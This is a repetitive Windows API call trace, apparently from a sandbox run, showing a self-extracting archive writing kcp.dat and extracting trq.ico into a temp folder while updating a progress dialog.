[0068.082] GetTickCount () returned 0x1fa45 [0068.082] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.082] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.082] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.082] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.082] GetTickCount () returned 0x1fa45 [0068.082] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.082] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.082] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.082] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.082] GetTickCount () returned 0x1fa45 [0068.082] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.082] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.082] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.082] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.082] GetTickCount () returned 0x1fa45 [0068.082] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.082] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.082] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.082] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.082] GetTickCount () returned 0x1fa45 [0068.082] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.082] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x223, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x223, lpOverlapped=0x0) returned 1 [0068.083] GetTickCount () returned 0x1fa45 [0068.083] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.083] SetFilePointer (in: hFile=0x1c, lDistanceToMove=862800, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd2a50 [0068.083] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.083] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.083] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.083] CloseHandle (hObject=0x138) returned 1 [0068.084] SetFileAttributesA (lpFileName="kcp.dat", dwFileAttributes=0x20) returned 1 [0068.084] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd2a50 [0068.084] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.084] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.084] OemToCharA (in: pSrc="trq.ico", pDst=0x179cc0 | out: pDst="trq.ico") returned 1 [0068.084] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="trq.ico", cchCount2=1) returned 1 [0068.085] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="trq.ico", cchCount2=6) returned 1 [0068.085] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="trq.ico", cchCount2=-1) returned 1 [0068.085] SetFilePointer (in: hFile=0x1c, lDistanceToMove=862844, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd2a7c [0068.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="trq.ico") returned 8 [0068.085] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.085] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting trq.ico") returned 18 [0068.085] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting trq.ico") returned 1 [0068.085] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.085] OemToCharBuffA (in: lpszSrc="t", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="t") returned 1 [0068.085] CharToOemBuffA (in: lpszSrc="T", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="T") returned 1 [0068.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="trq.ico") returned 8 [0068.085] FindFirstFileW (in: lpFileName="trq.ico", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.085] GetLastError () returned 0x2 [0068.085] GetFileAttributesA (lpFileName="trq.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\trq.ico")) returned 0xffffffff [0068.085] CreateFileA (lpFileName="trq.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\trq.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.085] GetFileType (hFile=0x138) returned 0x1 [0068.085] SetFilePointer (in: hFile=0x138, lDistanceToMove=538, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x21a [0068.085] SetEndOfFile (hFile=0x138) returned 1 [0068.085] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1b6, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1b6, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.086] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.086] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.086] GetTickCount () returned 0x1fa45 [0068.086] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.086] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.087] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.087] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.087] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.087] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.087] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 